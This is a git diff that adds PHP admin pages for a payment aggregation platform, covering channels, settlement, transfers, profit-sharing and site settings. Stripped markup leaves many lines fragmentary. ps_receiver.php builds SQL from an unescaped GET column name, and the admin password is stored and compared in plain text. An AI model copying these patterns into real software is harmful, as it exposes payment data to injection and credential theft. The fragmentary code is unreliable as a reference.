    +getAll("SELECT * FROM pre_type ORDER BY id ASC"); +foreach($rs as $row){ + $paytype[$row['id']] = $row['showname']; + $type_select .= ''; +} +unset($rs); +$rolltype = ['顺序轮询','随机轮询','首个启用']; + +$list = $DB->getAll("SELECT * FROM pre_roll ORDER BY id ASC"); +?> + + +
    +

    系统共有 个轮询组  新增

    +
    + + + +'; +} +?> + +
    ID显示名称支付方式轮询方式轮询规则状态操作
    '.$res['id'].''.$res['name'].''.$paytype[$res['type']].''.$rolltype[$res['kind']].''.$res['info'].''.($res['status']==1?'已开启':'已关闭').'配置通道 编辑 删除
    +
    +
    +
    +
    + + \ No newline at end of file diff --git a/admin/pay_type.php b/admin/pay_type.php new file mode 100644 index 0000000..5ba199f --- /dev/null +++ b/admin/pay_type.php @@ -0,0 +1,230 @@ +window.location.href='./login.php';"); +?> + +
    +
    +getAll("SELECT * FROM pre_type ORDER BY id ASC"); +?> + + +
    +

    系统共有 个支付方式  新增

    +
    + + + +'; +} +?> + +
    调用值名称支持设备今日收款状态操作
    '.$res['name'].''.$res['showname'].''.display_device($res['device']).'[刷新]'.($res['status']==1?'已开启':'已关闭').'编辑 删除 订单
    +
    +
    +
    +
    + + \ No newline at end of file diff --git a/admin/pay_weixin.php b/admin/pay_weixin.php new file mode 100644 index 0000000..91570d1 --- /dev/null +++ b/admin/pay_weixin.php @@ -0,0 +1,220 @@ +window.location.href='./login.php';"); +?> +
    +
    +getAll("SELECT * FROM pre_weixin ORDER BY id ASC"); +?> + + +
    +

    系统共有 个公众号/小程序  新增

    +
    + + + +'; +} +?> + +
    ID类别名称APPID操作
    '.$res['id'].''.display_type($res['type']).''.$res['name'].''.$res['appid'].'编辑 删除 测试
    +
    +
    +
    +
    + + \ No newline at end of file diff --git a/admin/pay_wework.php b/admin/pay_wework.php new file mode 100644 index 0000000..eddd7e5 --- /dev/null +++ b/admin/pay_wework.php @@ -0,0 +1,234 @@ +window.location.href='./login.php';"); +?> +
    +
    +getAll("SELECT * FROM pre_wework ORDER BY id ASC"); +?> + + +
    +

    企业微信账号列表  新增

    +
    + + + +getColumn("SELECT COUNT(*) FROM pre_wxkfaccount WHERE wid='{$res['id']}'"); + $wxkf_allnum += $wxkf_num; +echo ''; +} +?> + +
    ID名称企业ID客服账号数量状态操作
    '.$res['id'].''.$res['name'].''.$res['appid'].''.$wxkf_num.' [刷新]'.($res['status']==1?'已开启':'已关闭').'编辑 删除 测试
    +
    + +
    +
    + +
    + + \ No newline at end of file diff --git a/admin/plugin_page.php b/admin/plugin_page.php new file mode 100644 index 0000000..28b8114 --- /dev/null +++ b/admin/plugin_page.php @@ -0,0 +1,26 @@ +window.location.href='./login.php';"); +?> +
    +
    +getMessage(),3); +} +?> +
    +
    \ No newline at end of file diff --git a/admin/ps_order.php b/admin/ps_order.php new file mode 100644 index 0000000..d016d52 --- /dev/null +++ b/admin/ps_order.php @@ -0,0 +1,483 @@ +window.location.href='./login.php';"); +?> + + +
    +
    +
    +
    + + +
    +
    + +
    +
    + +
    +
    + + + +
    +
    + +
    + + + + +
    + +
    +
    +
    + + + + + + + + + + \ No newline at end of file diff --git a/admin/ps_receiver.php b/admin/ps_receiver.php new file mode 100644 index 0000000..e59ce39 --- /dev/null +++ b/admin/ps_receiver.php @@ -0,0 +1,355 @@ +window.location.href='./login.php';"); +?> + +
    +
    +
    +getAll("SELECT id,name,plugin,mode FROM pre_channel WHERE plugin IN ('".implode("','",$support_plugins)."') ORDER BY id ASC"); +$channel_select = ''; +foreach($channels as $row){ + $channel_select .= ''; +} + +$link = ''; +$sql = " 1"; +if(isset($_GET['value']) && !empty($_GET['value'])) { + $value=daddslashes($_GET['value']); + $sql .= " AND A.`{$_GET['column']}`='{$value}'"; + $link .= '&column='.$_GET['column'].'&value='.urlencode($_GET['value']); +} +?> + + +
    +

    分账规则列表

    +
    +
    +
    + + + +   +  新增  + +
    +
    +
    +
    + + + +getColumn("SELECT count(*) from pre_psreceiver A WHERE{$sql}"); +$pagesize=15; +$pages=ceil($numrows/$pagesize); +$page=isset($_GET['page'])?intval($_GET['page']):1; +$offset=$pagesize*($page - 1); + +$rs=$DB->query("SELECT A.*,B.name channelname,C.name subchannelname,C.apply_id FROM pre_psreceiver A LEFT JOIN pre_channel B ON A.channel=B.id LEFT JOIN pre_subchannel C ON A.subchannel=C.id WHERE{$sql} order by A.id desc limit $offset,$pagesize"); +while($res = $rs->fetch()) +{ +echo ''; +} +?> + +
    ID支付通道商户ID商户子通道接收方账号/姓名分账比例状态操作
    '.$res['id'].''.$res['channel'].'__'.$res['channelname'].''.$res['uid'].''.($res['subchannel']?$res['subchannel'].'__'.$res['subchannelname']:'').''.$res['account'].($res['name']?'/'.$res['name']:'').''.$res['rate'].''.($res['status']==1?'已开启':'已关闭').'编辑 删除 订单
    +
    +
      '; +$first=1; +$prev=$page-1; +$next=$page+1; +$last=$pages; +if ($page>1) +{ +echo '
    • 首页
    • '; +echo '
    • «
    • '; +} else { +echo '
    • 首页
    • '; +echo '
    • «
    • '; +} +$start=$page-10>1?$page-10:1; +$end=$page+10<$pages?$page+10:$pages; +for ($i=$start;$i<$page;$i++) +echo '
    • '.$i .'
    • '; +echo '
    • '.$page.'
    • '; +for ($i=$page+1;$i<=$end;$i++) +echo '
    • '.$i .'
    • '; +if ($page<$pages) +{ +echo '
    • »
    • '; +echo '
    • 尾页
    • '; +} else { +echo '
    • »
    • '; +echo '
    • 尾页
    • '; +} +echo'
    '; +?> +
    +
    +
    + + \ No newline at end of file diff --git a/admin/record.php b/admin/record.php new file mode 100644 index 0000000..918bdeb --- /dev/null +++ b/admin/record.php @@ -0,0 +1,198 @@ +window.location.href='./login.php';"); +?> + + +
    +
    +
    +
    + + +
    +
    + +
    +
    + +
    +
    + + + +
    + + + +
    + + +
    +
    +
    + + + + + + + + + + \ No newline at end of file diff --git a/admin/risk.php b/admin/risk.php new file mode 100644 index 0000000..98d01e9 --- /dev/null +++ b/admin/risk.php @@ -0,0 +1,92 @@ +window.location.href='./login.php';"); +?> +
    +
    +
    +
    + + +
    +
    + +
    +
    + +
    + + +
    + + +
    +
    +
    + + + + + \ No newline at end of file diff --git a/admin/set.php b/admin/set.php new file mode 100644 index 0000000..f237ad3 --- /dev/null +++ b/admin/set.php @@ -0,0 +1,1700 @@ +window.location.href='./login.php';"); +?> +
    +
    +'网站信息','pay'=>'支付相关','risk'=>'风控检测','settle'=>'结算规则','transfer'=>'转账付款','oauth'=>'快捷登录','notice'=>'消息提醒','certificate'=>'实名认证','template'=>'首页模板','gonggao'=>'公告与排版','mail'=>'邮箱与短信','upimg'=>'LOGO设置','iptype'=>'IP地址','cron'=>'计划任务','proxy'=>'中转代理','account'=>'修改密码']; +?> + +pre_fetch(); +if($mod=='site'){ +?> +
    +

    网站信息配置

    +
    +
    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    必须以http://或https://开头,以/结尾,填错会导致订单无法回调
    +

    +
    + +
    用户中心显示的支付对接地址,留空则与本站网址一致
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    如不做平台代收,可设置为是
    +

    +
    + +
    +

    +
    + +
    +

    +
    +
    + +
    +

    +
    +
    + +
    +

    +
    + +
    +

    +
    +
    + +
    +

    +
    + +
    +

    +
    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    +

    +
    +
    +
    +
    +
    + +clear(); + if($ad)showmsg('修改成功!',1); + else showmsg('修改失败!
    '.$DB->error(),4); +}elseif($mod=='account_n' && $_POST['do']=='submit'){ + if(!checkRefererHost())exit; + $user=$_POST['user']; + $oldpwd=$_POST['oldpwd']; + $newpwd=$_POST['newpwd']; + $newpwd2=$_POST['newpwd2']; + if($user==null)showmsg('用户名不能为空!',3); + saveSetting('admin_user',$user); + if(!empty($newpwd) && !empty($newpwd2)){ + if($oldpwd!=$conf['admin_pwd'])showmsg('旧密码不正确!',3); + if($newpwd!=$newpwd2)showmsg('两次输入的密码不一致!',3); + saveSetting('admin_pwd',$newpwd); + } + $ad=$CACHE->clear(); + if($ad)showmsg('修改成功!请重新登录',1); + else showmsg('修改失败!
    '.$DB->error(),4); +}elseif($mod=='account'){ +?> +
    +

    管理员账号配置

    +
    +
    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    +

    +
    +
    +
    +
    +
    +
    +

    支付密码修改

    +
    +
    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    +

    +
    +
    +
    +
    + +
    + + +
    +

    首页模板设置

    +
    +

    当前使用模板:

    +
    +
    + +
    +
    +

    模板名称:

    +
    +
    +
    +

    更换模板:

    +
    + +
    +
    +
    + +
    +
    +
    + +
    +

    用户IP地址获取设置

    +
    +
    +
    + +
    +
    +
    +

    +
    +
    +
    +
    + +
    + +getAll("SELECT * FROM pre_channel WHERE plugin='alipay' OR plugin='alipaysl' OR plugin='alipayd'"); +?> +
    +

    支付相关配置

    +
    +
    +
    + +
    +

    +
    + +
    +

    +
    + +
    多个关键词用|隔开。如果触发屏蔽会在风控记录里面显示
    +

    +
    + +
    +

    +
    + +
    支持变量值:[name]原商品名称,[order]支付订单号,[outorder]商户订单号,[time]时间戳,[qq]当前商户的联系QQ,[phone]当前商户的手机号
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    适用于网站有多个绑定域名,由于支付宝官方限制域名,使用未登记域名会有违约风险,填写指定网址后,使用支付宝支付都会跳转到该网址再跳转到支付宝。必须以http://或https://开头,以/结尾,留空则使用当前网址
    +

    +
    + +
    适用于网站有多个绑定域名,由于微信公众号只能授权一个域名,填写指定网址后,使用微信公众号支付或获取openid都会跳转到该网址再跳转到微信。必须以http://或https://开头,以/结尾,留空则使用当前网址
    +

    +
    + +
    留空为使用旧版小程序源码,填写后为新版小程序源码,例如pages/pay/order
    +

    +
    + +
    +

    +
    + +
    +
    +

    +
    + +
    开启后,如果使用支付宝"电脑网站支付",则直接显示二维码,这种模式下跳转回网站速度更快
    +

    +
    + +
    如设置延迟结算,则支付资金默认是冻结状态,需定时访问计划任务里面的url才可以结算
    +

    +
    + +
    默认请留空,乱填会导致无法支付,若支付宝扫码支付链接的域名部分为本站域名,填写后将替换本站域名
    +

    +
    +

    +
    +
    +
    +
    +
    +
    +

    支付宝快捷登录相关设置

    +
    +
    +
    + +
    用于非支付宝官方插件的生活号支付时使用。需在支付宝应用内配置授权回调地址
    +

    +
    + +
    开启后,支付宝官方支付插件需要快捷登录时,也全部使用上述选择的通道,不再使用当前支付用的通道登录,避免需要重复配置授权回调地址。如需开启,务必使用uid模式,不能用openid模式
    +

    +
    + +
    用于所有插件的支付宝小程序支付。需在支付宝应用内配置服务器域名白名单,并将指定的页面源码加入到你的小程序里面,才能用于发起支付。如用于非当前应用支付,还需在JSAPI支付签约页面关联小程序AppID
    +

    +
    + +
    开启后,可在手机网站支付前获取用户支付宝uid,用于黑名单屏蔽。电脑网站支付不支持
    +

    +
    + +
    需要先在支付宝应用里面隐私申请手机号码字段,开启后,可在支付前获取用户手机号并保存。
    +

    +
    + +
    用于支付宝小程序应用获取用户手机号
    +

    +
    +

    +
    +
    +
    +
    +
    +
    +

    商户支付功能设置

    +
    +
    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    %
    被邀请用户支付订单,给邀请者分成的比例,分成金额不会超过订单的手续费
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    %
    被邀请用户进件付费,给邀请者分成的比例
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    填写后,商户需要充值足额保证金,才能发起支付
    +

    +
    + +
    填写后,在提取保证金时会校验近X天内无订单、无投诉
    +

    +
    +

    +
    +
    +
    +
    +
    +
    +

    支付交易投诉相关配置

    +
    +
    +
    + +
    +

    +
    + +
    开启后商户可自行处理支付宝/微信的交易投诉
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    + +
    +

    +
    +
    +
    +
    +
    +
    +

    支付宝/微信支付合单支付配置

    +
    +
    +

    微信支付合单支付配置

    +
    + +
    只支持微信官方支付V3和服务商版插件,可将大额订单分为多个子单进行合单支付。最小分3个子单,最大50个子单。
    +

    +
    + +
    只支持支付宝直付通版插件,可将大额订单分为多个子单进行合单支付。最小分2个子单,最大6个子单。仅支持手机网站支付和APP支付
    +

    +
    + +
    +

    +
    + +
    +

    +
    +

    +
    +
    +
    +
    +
    + +
    +

    支付频率限制相关设置

    +
    +
    +
    + +
    +

    +
    + +
    只支持支付宝JS支付与微信公众号支付
    +

    +
    + +
    在商户网站通过submit发起支付的时候,可先进行人机验证再创建订单,防止被刷订单,开启后无法通过mapi接口发起支付
    +

    +
    +
    + +
    +
    个订单
    +
    成功率%
    +

    +
    + +
    单个IP个订单
    +

    +
    +
    +
    + +
    +

    +
    +
    + +
    +

    +
    +

    +
    +
    +
    +
    +
    +
    +

    支付风控检测设置

    +
    +
    +

    检测通道下连续未支付订单数量自动关闭支付通道

    +
    + +
    +

    +
    + +
    +
    个订单
    +
    通道ID%
    +

    +
    + +
    +

    +

    检测商户订单支付成功率自动关闭商户支付权限

    +
    + +
    +

    +
    + +
    +
    个订单
    +
    成功率%
    +

    +
    + +
    +

    +

    检测商户订单回调失败次数自动关闭商户支付权限

    +
    + +
    +

    +
    + +
    个订单
    +

    +
    + +
    +

    +

    检测商户订单投诉率自动关闭商户支付权限

    +
    + +
    +

    +
    + +
    %
    +

    +
    + +
    +

    +
    +

    +
    +

    +
    +
    + +
    + + +
    +

    结算规则配置

    +
    +
    +
    + +
    +

    +
    + +
    +

    +
    + +
    如开启,需要先开启转账付款功能
    +

    +
    +
    + +
    +

    +
    +
    + +
    +

    +
    + +
    +

    +
    + +
    %
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    +

    +
    +
    +
    +
    +
    + + +
    +

    其他公告与排版设置

    +
    +
    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    + +
    +
    +getAll("SELECT id,name,plugin FROM pre_channel WHERE plugin IN (SELECT name FROM pre_plugin WHERE transtypes LIKE '%alipay%')"); + $wxpay_channel = $DB->getAll("SELECT id,name,plugin FROM pre_channel WHERE plugin IN (SELECT name FROM pre_plugin WHERE transtypes LIKE '%wxpay%')"); + $qqpay_channel = $DB->getAll("SELECT id,name,plugin FROM pre_channel WHERE plugin IN (SELECT name FROM pre_plugin WHERE transtypes LIKE '%qqpay%')"); + $bank_channel = $DB->getAll("SELECT id,name,plugin FROM pre_channel WHERE plugin IN (SELECT name FROM pre_plugin WHERE transtypes LIKE '%bank%')"); +?> +
    +

    转账付款配置

    +
    +
    +
    + +
    +

    +
    + +
    +

    +
    + +
    请先添加支付插件为alipay的支付通道。需签约“转账到支付宝账户”产品。
    +

    +
    + +
    +

    +
    + +
    请先添加支付插件为wxpay或wxpayn的支付通道。需申请“企业付款”(V2插件)或“商家转账”(V3插件)产品。
    +

    +
    + +
    +

    + +
    + +
    请先添加支付插件为qqpay的支付通道。需申请“企业付款”产品。
    +

    +
    + +
    请先添加支付插件为alipay的支付通道。需签约“转账到银行卡”产品。或wxpay插件,签约“付款到银行卡”。部分其他插件也有付款到银行卡功能
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    %
    +

    +
    +

    +
    +
    +
    +
    +
    + +getAll("SELECT * FROM pre_channel WHERE plugin='alipay'"); +?> +
    +

    实名认证接口配置

    +
    +
    +
    + +
    +

    +
    +
    + +
    请先添加支付插件为alipay的支付通道
    +

    +
    +
    +
    + +
    +

    +
    +
    +
    + +
    +

    +
    + +
    +

    +
    +
    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    +
    +
    + +
    +

    +
    +
    + +
    +

    +
    +
    + +
    开启后商户必须实名认证,才能正常使用支付接口收款
    +

    +
    + +
    支付宝身份验证接口是1元/次。设置实名认证费用后,认证成功将从商户余额扣除,如果是付费注册商户建议免认证费
    +

    +
    +
    +

    +
    +
    +
    +
    + +
    +
    +

    OCR文字识别接口配置

    +
    +
    +
    + +
    +

    +
    + +
    +

    +
    +

    +
    +
    +
    +
    + +
    + +getAll("SELECT * FROM pre_channel WHERE plugin='alipay' OR plugin='alipaysl' OR plugin='alipayd'"); + $wxpay_channel = $DB->getAll("SELECT * FROM pre_weixin WHERE type=0"); +?> +
    +

    快捷登录配置

    +
    +
    +
    + +
    QQ互联申请地址,回调地址填写:
    +

    +
    +
    + +
    +

    +
    + +
    +

    +
    +
    + +
    请先添加支付插件为alipay的支付通道
    申请地址,应用内添加功能"获取会员信息",授权回调地址填写:
    +

    +
    + +
    请先添加一个微信公众号。需要服务号,并配置网页授权域名:
    +

    +
    +

    +
    +
    +
    +
    +
    + +
    +

    彩虹聚合登录配置

    +
    +
    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    +

    +
    +
    +
    +
    +
    + + +
    来自:'.$siteurl); + if($result==1) + showmsg('邮件发送成功!',1); + else + showmsg('邮件发送失败!'.$result,3); + } + else + showmsg('您还未设置邮箱!',3); +}elseif($mod=='mail'){ + $wxpay_channel = $DB->getAll("SELECT * FROM pre_weixin WHERE type=0"); +?> +
    +

    发信邮箱设置

    +
    +
    +
    + +
    +

    +
    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    +
    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    +
    + +
    +

    + +
    +
    + +
    + +
    +

    短信接口设置

    +
    +
    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    必须是已添加、并通过审核的短信签名。
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    +

    +

    +
    +
    +
    + +
    + +read('wxtplerrmsg'); +if($errmsg){ + $arr = unserialize($errmsg); + $errmsg = $arr['time'].' - '.$arr['errmsg']; +} + +$errmsg2 = $CACHE->read('mailerrmsg'); +if($errmsg2){ + $arr = unserialize($errmsg2); + $errmsg2 = $arr['time'].' - '.$arr['errmsg']; +} +?> + +
    +

    微信公众号消息提醒设置

    +
    +
    上一次报错信息:
    +
    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    +

    +

    +
    +
    +
    + +
    +
    +

    邮件消息提醒设置

    +
    +
    上一次报错信息:
    +
    +

    管理员接收邮件开关设置

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +

    用户接收邮件开关设置

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    +

    +

    +
    +
    +
    + +
    + + +
    +

    计划任务设置

    +
    +
    +
    + +
    +

    +
    +

    +
    +
    +
    +
    +
    +
    +

    计划任务列表

    +
    +

    订单统计任务(0点后访问一次即可)

    +
  • cron.php?do=order&key=
  • +
    +

    自动生成结算任务(0点后访问一次即可)

    +
  • cron.php?do=settle&key=
  • +
    +

    订单异步通知重试任务
    (如果有订单出现通知失败的,可以通过此条任务自动重新通知,通知重试时间:1分钟,3分钟,20分钟,1小时,2小时)

    +
  • cron.php?do=notify&key=
  • +getColumn("SELECT count(*) from pre_psreceiver WHERE status=1")>0 || $conf['direct_settle_time']==1){ ?> +
    +

    订单分账&支付宝直付通微信收付通延迟结算任务

    +
  • cron.php?do=profitsharing&key=
  • + +
    +

    商户订单成功率检查任务

    +
  • cron.php?do=check&key=
  • +
    +
    + +
    +

    中转代理设置

    +
    +
    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    +
    +
    + +
    + +

    更改首页LOGO

    +
    '; +if($_POST['s']==1){ +if(!checkRefererHost())exit; +if(copy($_FILES['file']['tmp_name'], ROOT.'assets/img/logo.png')){ + echo "成功上传文件!
    (可能需要清空浏览器缓存才能看到效果,按Ctrl+F5即可一键刷新缓存)"; +}else{ + echo "上传失败,可能没有文件写入权限"; +} +} +echo '


    现在的图片:
    '; +echo '
    '; +} +?> +
    +
    + + \ No newline at end of file diff --git a/admin/set_wxkf.php b/admin/set_wxkf.php new file mode 100644 index 0000000..2c509db --- /dev/null +++ b/admin/set_wxkf.php @@ -0,0 +1,109 @@ +window.location.href='./login.php';"); + +$callback_url = $siteurl.'wework.php'; + +$errmsg = $CACHE->read('wxkferrmsg'); +if($errmsg){ + $arr = unserialize($errmsg); + $errmsg = $arr['time'].' - '.$arr['errmsg']; +} + +$account_list = $DB->getAll("SELECT A.* FROM pre_wxkfaccount A LEFT JOIN pre_wework B ON A.wid=B.id WHERE B.status=1"); +$account_select = ''; +foreach($account_list as $row){ + $account_select .= ''; +} +?> +
    +
    +
    +

    H5跳转微信客服支付设置

    +
    +
    回调接口上一次报错信息:
    +
    +
    + +
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    开启前需确保以上配置正确无误,否则会导致手机浏览器无法微信支付
    +

    +
    + +
    让用户回复消息,可防止因微信限制发消息导致用户无法在同一个客服二次支付
    +

    +
    + +
    +

    +
    + +
    +

    +
    + +
    支持变量值:[qq]当前商户的联系QQ
    +

    + +
    +
    + +
    +
    +
    + + \ No newline at end of file diff --git a/admin/settle.php b/admin/settle.php new file mode 100644 index 0000000..235f25d --- /dev/null +++ b/admin/settle.php @@ -0,0 +1,194 @@ +window.location.href='./login.php';"); +?> + +
    +
    +
    +

    批量结算操作 生成结算批次

    + + + +query("SELECT * FROM pre_batch order by time desc limit $offset,$pagesize"); +while($res = $rs->fetch()) +{ +echo ''; +} +?> + +
    批次号总金额总数量生成时间操作
    '.$res['batch'].''.$res['allmoney'].''.$res['count'].''.$res['time'].'结算列表 导出表格 批量转账 改为完成
    +
      '; +$first=1; +$prev=$page-1; +$next=$page+1; +$last=$pages; +if ($page>1) +{ +echo '
    • 首页
    • '; +echo '
    • «
    • '; +} else { +echo '
    • 首页
    • '; +echo '
    • «
    • '; +} +for ($i=1;$i<$page;$i++) +echo '
    • '.$i .'
    • '; +echo '
    • '.$page.'
    • '; +if($pages>=10)$sss=$page+10;else $sss=$pages; +for ($i=$page+1;$i<=$sss;$i++) +echo '
    • '.$i .'
    • '; +echo ''; +if ($page<$pages) +{ +echo '
    • »
    • '; +echo '
    • 尾页
    • '; +} else { +echo '
    • »
    • '; +echo '
    • 尾页
    • '; +} +echo'
    '; +#分页 +?> + +
    +
    +
    + + \ No newline at end of file diff --git a/admin/slist.php b/admin/slist.php new file mode 100644 index 0000000..9b8cc01 --- /dev/null +++ b/admin/slist.php @@ -0,0 +1,327 @@ +window.location.href='./login.php';"); +?> +
    +
    +
    + +
    + +
    + + +
    +
    + +
    +
    + +
    +
    + +
    + + 批量结算 + + +
    + + +
    +
    +
    +
    + + + + + + \ No newline at end of file diff --git a/admin/sso.php b/admin/sso.php new file mode 100644 index 0000000..d68da12 --- /dev/null +++ b/admin/sso.php @@ -0,0 +1,16 @@ +window.location.href='./login.php';"); + +$uid=intval($_GET['uid']); + +$userrow=$DB->getRow("select * from pre_user where uid='$uid' limit 1"); +if(!$userrow)sysmsg('当前用户不存在!'); + +$session=md5($uid.$userrow['key'].$password_hash); +$expiretime=time()+604800; +$token=authcode("{$uid}\t{$session}\t{$expiretime}", 'ENCODE', SYS_KEY); +setcookie("user_token", $token, time() + 604800, '/user'); + +exit(""); diff --git a/admin/testsubmit.php b/admin/testsubmit.php new file mode 100644 index 0000000..e152310 --- /dev/null +++ b/admin/testsubmit.php @@ -0,0 +1,26 @@ +window.location.href='./login.php';"); +$submit2=true; + +$trade_no=daddslashes($_GET['trade_no']); +$order=$DB->getRow("SELECT * FROM pre_order WHERE trade_no='{$trade_no}' LIMIT 1"); +if(!$order)sysmsg('该订单号不存在,请返回来源地重新发起请求!'); + +$paytype=$DB->getRow("SELECT id,name,status FROM pre_type WHERE id='{$order['type']}' LIMIT 1"); +if(!$paytype)sysmsg('支付方式不存在'); + +$channelrow=$DB->getRow("SELECT id,plugin,apptype FROM pre_channel WHERE id='{$order['channel']}' LIMIT 1"); +if(!$channelrow)sysmsg('支付通道不存在'); + +$order['typename'] = $paytype['name']; +$order['plugin'] = $channelrow['plugin']; +$order['profits'] = \lib\Payment::updateOrderProfits($order, $channelrow['plugin']); + +try{ + $result = \lib\Plugin::loadForSubmit($channelrow['plugin'], $trade_no); + $result['submit'] = true; + \lib\Payment::echoDefault($result); +}catch(Exception $e){ + sysmsg($e->getMessage()); +} diff --git a/admin/transfer.php b/admin/transfer.php new file mode 100644 index 0000000..5361dc0 --- /dev/null +++ b/admin/transfer.php @@ -0,0 +1,360 @@ +window.location.href='./login.php';"); +?> +
    +
    +
    +
    +
    + + +
    +
    + +
    +
    + +
    +
    + +
    + + 新增付款 + + +
    + + +
    +
    +
    +
    + + + + + + \ No newline at end of file diff --git a/admin/transfer_add.php b/admin/transfer_add.php new file mode 100644 index 0000000..00b5fe3 --- /dev/null +++ b/admin/transfer_add.php @@ -0,0 +1,191 @@ +window.location.href='./login.php';"); +?> +
    +
    +32)showmsg('转账备注最多32个字',3); + if(!is_numeric($money) || !preg_match('/^[0-9.]+$/', $money) || $money<=0)showmsg('转账金额输入不规范',3); + if ($app=='qqpay' && (!is_numeric($payee_account) || strlen($payee_account)<6 || strlen($payee_account)>10))showmsg('QQ号码格式错误',3); + + $channelid = isset($_POST['channel'])?$_POST['channel']:$default_channel; + $channel = \lib\Channel::get($channelid); + if(!$channel)showmsg('当前支付通道信息不存在',4); + + $result = \lib\Transfer::submit($app, $channel, $out_biz_no, $payee_account, $payee_real_name, $money, $desc); + + if($result['code']==0){ + $paytime = $result['status'] == 1 ? 'NOW()' : null; + $data = ['biz_no'=>$out_biz_no, 'uid'=>0, 'type'=>$app, 'channel'=>$channelid, 'account'=>$payee_account, 'username'=>$payee_real_name, 'money'=>$money, 'costmoney'=>$money, 'addtime'=>'NOW()', 'paytime'=>$paytime, 'pay_order_no'=>$result['orderid'], 'status'=>$result['status'], 'desc'=>$desc]; + if(isset($result['wxpackage'])) $data['ext'] = $result['wxpackage']; + $DB->insert('transfer', $data); + if($result['status'] == 1){ + $result='转账成功!转账单据号:'.$result['orderid'].' 支付时间:'.$result['paydate']; + }elseif(isset($result['wxpackage'])){ + $result='提交成功!请在付款记录页面扫描二维码确认收款,1天内未确认,将退还给商家。转账单据号:'.$result['orderid'].' 支付时间:'.$result['paydate']; + }else{ + $result='提交成功!转账处理中,请稍后在付款记录页面查看结果。转账单据号:'.$result['orderid'].' 支付时间:'.$result['paydate']; + } + showmsg($result,1,'./transfer.php'); + }else{ + $result='转账失败:'.$result['msg']; + showmsg($result,4); + } +} + +$out_biz_no = date("YmdHis").rand(11111,99999); + +$channel_select = $DB->getAll("SELECT id,name,plugin FROM pre_channel WHERE plugin IN (SELECT name FROM pre_plugin WHERE transtypes LIKE '%".$app."%')"); + +$copy = []; +if(isset($_GET['copy'])){ + $copy = $DB->find('transfer', '*', ['biz_no'=>trim($_GET['copy'])]); +} +?> + +
    +

    转账付款

    +
    + +
    +
    + +
    +
    通道选择
    + +
    +
    +
    交易号
    + +
    + +
    +
    支付宝账号
    + +
    +
    +
    支付宝姓名
    + +
    + +
    +
    Openid
    + + +
    +
    +
    真实姓名
    + +
    + +
    +
    收款方QQ
    + +
    +
    +
    真实姓名
    + +
    + +
    +
    银行卡号
    + +
    +
    +
    姓名
    + +
    + +
    +
    转账金额
    + +
    +
    +
    转账备注
    + +
    +
    +
    支付密码
    + +
    +

    +

    查询账户余额

    +
    +
    +
    + +
    +
    +
    + + + \ No newline at end of file diff --git a/admin/transfer_batch.php b/admin/transfer_batch.php new file mode 100644 index 0000000..975a99c --- /dev/null +++ b/admin/transfer_batch.php @@ -0,0 +1,179 @@ +window.location.href='./login.php';"); +?> +
    +getRow("SELECT * from pre_batch where batch='$batch'"); + if(!$row)showmsg('批次号不存在'); + $list=$DB->getAll("SELECT * FROM pre_settle WHERE batch='{$batch}' and type={$type}"); + + $channel_select = $DB->getAll("SELECT id,name,plugin FROM pre_channel WHERE plugin IN (SELECT name FROM pre_plugin WHERE transtypes LIKE '%".$app."%')"); + +?> + +
    +
    +
    +

    批量转账

    +
    通道选择
    + +
    +
    +
    全选
    +
    点此开始转账
    +
    总金额
    +
    +
    +
    +
    +
    + + +
    + + + + + + + + + + + '; + foreach($list as $row) { + echo ''; + } + ?> + +
    ID商户ID结算账号结算姓名金额操作
    总共'.count($list).'个记录,已经处理0个记录!
    '.$row['id'].''.$row['uid'].''.$row['account'].''.$row['username'].''.$row['realmoney'].''.($row['transfer_status']!=1?'立即转账':'已完成').'
    结果'.($row['transfer_status']==1?'转账订单号:'.$row['transfer_result'].' 支付时间:'.$row['transfer_date']:$row['transfer_result']).'
    +
    +
    +
    + + \ No newline at end of file diff --git a/admin/ulist.php b/admin/ulist.php new file mode 100644 index 0000000..326515d --- /dev/null +++ b/admin/ulist.php @@ -0,0 +1,441 @@ +window.location.href='./login.php';"); + +$select = ''; +$rs = $DB->getAll("SELECT * FROM pre_group"); +foreach($rs as $row){ + $select .= ''; +} +unset($rs); +?> + +
    +
    + +
    + + +
    + + +
    +
    + +
    +
    + +
